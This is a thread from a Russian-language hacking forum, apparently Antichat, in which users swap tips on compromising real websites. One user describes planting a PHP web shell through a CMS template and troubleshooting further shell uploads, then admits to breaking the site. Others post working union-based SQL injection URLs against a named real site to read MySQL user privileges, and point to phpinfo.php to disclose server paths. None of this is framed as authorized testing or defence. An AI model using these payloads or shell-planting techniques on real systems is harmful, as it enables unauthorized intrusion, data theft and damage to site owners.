12.03.2011, 12:57
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от rootmd
да я это видел но нигде нету конкретного примера
а никто тебе конкретно не даст...а приват палить никто не будет (если он есть)..
|
|
|
12.03.2011, 13:01
|
|
Участник форума
Регистрация: 09.12.2010
Сообщений: 101
С нами:
8118326
Репутация:
-5
|
|
Вот нашел, в метасплойт есть, попробуем! )
|
|
|
|
12.03.2011, 18:11
|
|
Познающий
Регистрация: 01.08.2006
Сообщений: 36
С нами:
10409033
Репутация:
3
|
|
Залил шелл через админку кмс (засунул шелл в шаблон)
захожу на него все ок - шелл полностью работает.
дальше заливаю шелл отдельно от шаблона, файл залился
НО, при заходе на него вылазит ошибка 500 ( Premature end of script headers: в error.log ) и так на все новые залитые .php файлы, если залить .txt все ок (пробывал чтобы пхп обрабатывал тхт как скрипт, проблема остается). Пробывал менять chmod (0777/0755/0700) результата 0.
т.е. править скрипты можно, но заливать скрипты чтобы они выполнялись нет.
дело явно не в содержании шелла, если вписать 123 и назвать файл asd.php он всеравно выдаст ошибку.
все остальные файлы в директории (которые были до меня) выполняются отлично, если отредактировать один из такхи файлов то тоже все работает, но нужно именно залить отдельно шелл.
safe mode выключен, все папки открыты на запись, вобщем свиду все нормально...
система freebsd
помогите, не знаю что и думать
|
|
|
|
12.03.2011, 18:24
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от [R
eD"]
[R]eD said:
Залил шелл через админку кмс (засунул шелл в шаблон)
захожу на него все ок - шелл полностью работает.
дальше заливаю шелл отдельно от шаблона, файл залился
НО, при заходе на него вылазит ошибка 500 ( Premature end of script headers: в error.log ) и так на все новые залитые .php файлы, если залить .txt все ок (пробывал чтобы пхп обрабатывал тхт как скрипт, проблема остается). Пробывал менять chmod (0777/0755/0700) результата 0.
т.е. править скрипты можно, но заливать скрипты чтобы они выполнялись нет.
дело явно не в содержании шелла, если вписать 123 и назвать файл asd.php он всеравно выдаст ошибку.
все остальные файлы в директории (которые были до меня) выполняются отлично, если отредактировать один из такхи файлов то тоже все работает, но нужно именно залить отдельно шелл.
safe mode выключен, все папки открыты на запись, вобщем свиду все нормально...
система freebsd
помогите, не знаю что и думать
.htaccess
|
|
|
|
12.03.2011, 18:34
|
|
Познающий
Регистрация: 01.08.2006
Сообщений: 36
С нами:
10409033
Репутация:
3
|
|
В .htaccess ничего нету кроме AddDeafultCharset UTF-8
// мда.. сломал сайт вобщем, подожду пока админы поправят чтобы еще попробывать что-нибудь...
|
|
|
|
12.03.2011, 21:48
|
|
Познающий
Регистрация: 19.02.2011
Сообщений: 32
С нами:
8014646
Репутация:
-3
|
|
подскажите, как вывести file_priv?
пробую
http://www.newhorizons.com.ua/news_detail.php?id=-100+union+select+1,2,file_priv,4,5,6,7,8+from+mysq l.user+where+user=0x755f6e6577686f72697a6f6e--
никак не получаетса
|
|
|
|
12.03.2011, 22:07
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
С нами:
8663063
Репутация:
226
|
|
с чего ты решил что у тебя доступ к ней?
http://www.newhorizons.com.ua/news_detail.php?id=-100+union+select+1,2,3,4,5,6,7,8+from+mysql.user--+
|
|
|
|
12.03.2011, 23:48
|
|
Новичок
Регистрация: 13.04.2010
Сообщений: 0
С нами:
8462565
Репутация:
0
|
|
как узнать полный путь от сервера к сайту ? есть доступ к pma
|
|
|
|
12.03.2011, 23:54
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами:
8885780
Репутация:
672
|
|
Сообщение от foozzi
как узнать полный путь от сервера к сайту ? есть доступ к pma
почти всегда есть файл phpinfo.php в корневой директории пма (если админ не удалил,то оно там лежит по дефолту)
http://site.com/phpmyadmin/phpinfo.php
|
|
|
|
12.03.2011, 23:57
|
|
Новичок
Регистрация: 13.04.2010
Сообщений: 0
С нами:
8462565
Репутация:
0
|
|
Сообщение от Konqi
почти всегда есть файл phpinfo.php в корневой директории пма
http://site.com/phpmyadmin/phpinfo.php
увы, такого не имеется( а точней выбивает белую страницу пустую
|
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
![Аватар для [R]eD](/avatars/avatar26157.png?0){kind=avatar}
Похожие темы
Комбинированный вид
